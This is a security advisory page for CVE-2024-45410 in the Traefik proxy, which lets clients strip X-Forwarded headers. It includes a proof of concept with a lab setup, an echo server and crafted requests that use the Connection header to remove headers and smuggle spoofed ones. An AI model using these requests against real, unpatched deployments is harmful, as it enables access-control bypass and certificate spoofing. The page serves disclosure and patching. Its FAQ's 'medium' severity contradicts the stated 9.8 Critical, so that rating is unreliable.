CVE-2024-45410: HTTP client can remove the X-Forwarded headers in Traefik

Published Sep 19, 2024
·
Updated

Impact

There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).

Patches

- <a href="https://github.com/traefik/traefik/releases/tag/v2.11.9">https://github.com/traefik/traefik/releases/tag/v2.11.9</a> - <a href="https://github.com/traefik/traefik/releases/tag/v3.1.3">https://github.com/traefik/traefik/releases/tag/v3.1.3</a>

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

&lt;details&gt; &lt;summary&gt;Original Description&lt;/summary&gt; Summary

When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.

For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:

Connection: close, X-Forwarded-Host

Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "" signs, making it possible for the HTTP client to even modify these headers in these cases.

This is similar to <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server.

Details

It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):

- X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Server - X-Real-Ip - X-Forwarded-Tls-Client-Cert - X-Forwarded-Tls-Client-Cert-Info

PoC

The following docker-compose file has been used for a simple setup:

services: traefik: image: traefik:v3.1 containername: traefik ports: - "443:443" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./traefik.yaml:/etc/traefik/traefik.yaml - ./traefik-certs:/certs

python-http: build: context: . dockerfile: Dockerfile containername: python-http labels: - "traefik.enable=true" - "traefik.http.routers.python-http.rule=Host(python.example.com)" - "traefik.http.routers.python-http.entrypoints=websecure" - "traefik.http.routers.python-http.tls=true" - "traefik.http.services.python-http.loadbalancer.server.port=8080"

The following traefik.yaml has been used:

providers: docker: exposedByDefault: false watch: true file: fileName: /etc/traefik/traefik.yaml watch: true

entryPoints: websecure: address: ":443"

tls: certificates: - certFile: /certs/server-cert.pem keyFile: /certs/server-key.pem

The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:

FROM python:3-alpine

Copy the Python script to the container COPY server.py /server.py

Set the working directory WORKDIR /

Command to run the Python server CMD ["python", "/server.py"]

And here is the Python script:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler): def sendresponse(self): self.sendresponse(200) self.sendheader("Content-type", "text/plain") self.endheaders() self.wfile.write(str(self.headers).encode("utf-8"))

def doGET(self): self.sendresponse()

if name == "main": server = HTTPServer(('0.0.0.0', 8080), RequestHandler) print("Server started on port 8080") server.serveforever()

The environment is run with sudo docker-compose up.

A normal HTTP request/response pair looks like this:

Request 1

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close

Response 1

HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:53:49 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 556

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Host: python.example.com X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1

The custom headers added by Traefik can be seen in the response.

Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:

Request 2

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close, X-Forwarded-Host

Response 2

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1

As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.

Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:

Request 3

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i XForwardedHost: myhost Connection: close, X-Forwarded-Host

Response 3

HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:54:48 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 544

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1 Xforwardedhost: myhost

Some backend frameworks (e.g. Django) handle X-Forwarded-Host and Xforwardedhost in the same way. As there is no X-Forwarded-Host header present in the request, the Xforwardedhost header will be used.

It should be noted that when X-Forwarded-Host is present and a Xforwardedhost header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.

It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.

Impact

All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.

If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to ""), an attacker can place his own XForwardedTLSClientCert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.

Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).

The severity is the same as for <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server, i.e. 9.8 Critical. &lt;/details&gt;

Other sources

Impact

There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.9 - https://github.com/traefik/traefik/releases/tag/v3.1.3

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary> Summary

When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.

For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:

Connection: close, X-Forwarded-Host

Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "" signs, making it possible for the HTTP client to even modify these headers in these cases.

This is similar to CVE-2022-31813 for Apache HTTP Server.

Details

It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):

- X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Server - X-Real-Ip - X-Forwarded-Tls-Client-Cert - X-Forwarded-Tls-Client-Cert-Info

PoC

The following docker-compose file has been used for a simple setup:

services: traefik: image: traefik:v3.1 containername: traefik ports: - "443:443" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./traefik.yaml:/etc/traefik/traefik.yaml - ./traefik-certs:/certs

python-http: build: context: . dockerfile: Dockerfile containername: python-http labels: - "traefik.enable=true" - "traefik.http.routers.python-http.rule=Host(python.example.com)" - "traefik.http.routers.python-http.entrypoints=websecure" - "traefik.http.routers.python-http.tls=true" - "traefik.http.services.python-http.loadbalancer.server.port=8080"

The following traefik.yaml has been used:

providers: docker: exposedByDefault: false watch: true file: fileName: /etc/traefik/traefik.yaml watch: true

entryPoints: websecure: address: ":443"

tls: certificates: - certFile: /certs/server-cert.pem keyFile: /certs/server-key.pem

The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:

FROM python:3-alpine

Copy the Python script to the container COPY server.py /server.py

Set the working directory WORKDIR /

Command to run the Python server CMD ["python", "/server.py"]

And here is the Python script:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler): def sendresponse(self): self.sendresponse(200) self.sendheader("Content-type", "text/plain") self.endheaders() self.wfile.write(str(self.headers).encode("utf-8"))

def doGET(self): self.sendresponse()

if name == "main": server = HTTPServer(('0.0.0.0', 8080), RequestHandler) print("Server started on port 8080") server.serveforever()

The environment is run with sudo docker-compose up.

A normal HTTP request/response pair looks like this:

Request 1

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close

Response 1

HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:53:49 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 556

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Host: python.example.com X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1

The custom headers added by Traefik can be seen in the response.

Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:

Request 2

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close, X-Forwarded-Host

Response 2

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1

As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.

Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:

Request 3

GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i XForwardedHost: myhost Connection: close, X-Forwarded-Host

Response 3

HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:54:48 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 544

Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1 Xforwardedhost: myhost

Some backend frameworks (e.g. Django) handle X-Forwarded-Host and Xforwardedhost in the same way. As there is no X-Forwarded-Host header present in the request, the Xforwardedhost header will be used.

It should be noted that when X-Forwarded-Host is present and a Xforwardedhost header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.

It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.

Impact

All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.

If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to ""), an attacker can place his own XForwardedTLSClientCert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.

Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).

The severity is the same as for CVE-2022-31813 for Apache HTTP Server, i.e. 9.8 Critical. </details>

GitHub

Traefik is a golang, Cloud Native Application Proxy. When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified. For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been addressed in release versions 2.11.9 and 3.1.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.

MITRE

Affected Software

5 affected componentsFixes available
go/github.com/traefik/traefik<2.11.9
2.11.9
go/github.com/traefik/traefik/v2<2.11.9
2.11.9
go/github.com/traefik/traefik/v3>=3.0.0-beta3<3.1.3
3.1.3
Traefik traefik<2.11.9
Traefik traefik>=3.0.0<3.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/traefik/traefik to a version that resolves this vulnerability.

    Fixed in 2.11.9
  2. Upgrade

    Upgrade go/github.com/traefik/traefik/v2 to a version that resolves this vulnerability.

    Fixed in 2.11.9
  3. Upgrade

    Upgrade go/github.com/traefik/traefik/v3 to a version that resolves this vulnerability.

    Fixed in 3.1.3

Event History

Sep 19, 2024
Advisory Published
via GitHub·02:48 PM
Data Sourced
via Red Hat·05:00 PM
DescriptionSeverityAffected Software
CVE Published
via MITRE·10:51 PM
Data Sourced
via MITRE·10:51 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2024-45410?

CVE-2024-45410 is considered a medium severity vulnerability due to its potential impact on request header manipulation.

2

How do I fix CVE-2024-45410?

To fix CVE-2024-45410, upgrade to Traefik version 2.11.9 or 3.1.3 as specified in the updated releases.

3

What are the affected versions for CVE-2024-45410?

CVE-2024-45410 affects versions of Traefik prior to 2.11.9 and those between 3.0.0-beta3 and 3.1.3.

4

What type of vulnerability is CVE-2024-45410?

CVE-2024-45410 is a security vulnerability that allows the client to manipulate X-Forwarded headers.

5

Who is impacted by CVE-2024-45410?

Users of Traefik that utilize specific versions below the patched releases are impacted by CVE-2024-45410.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203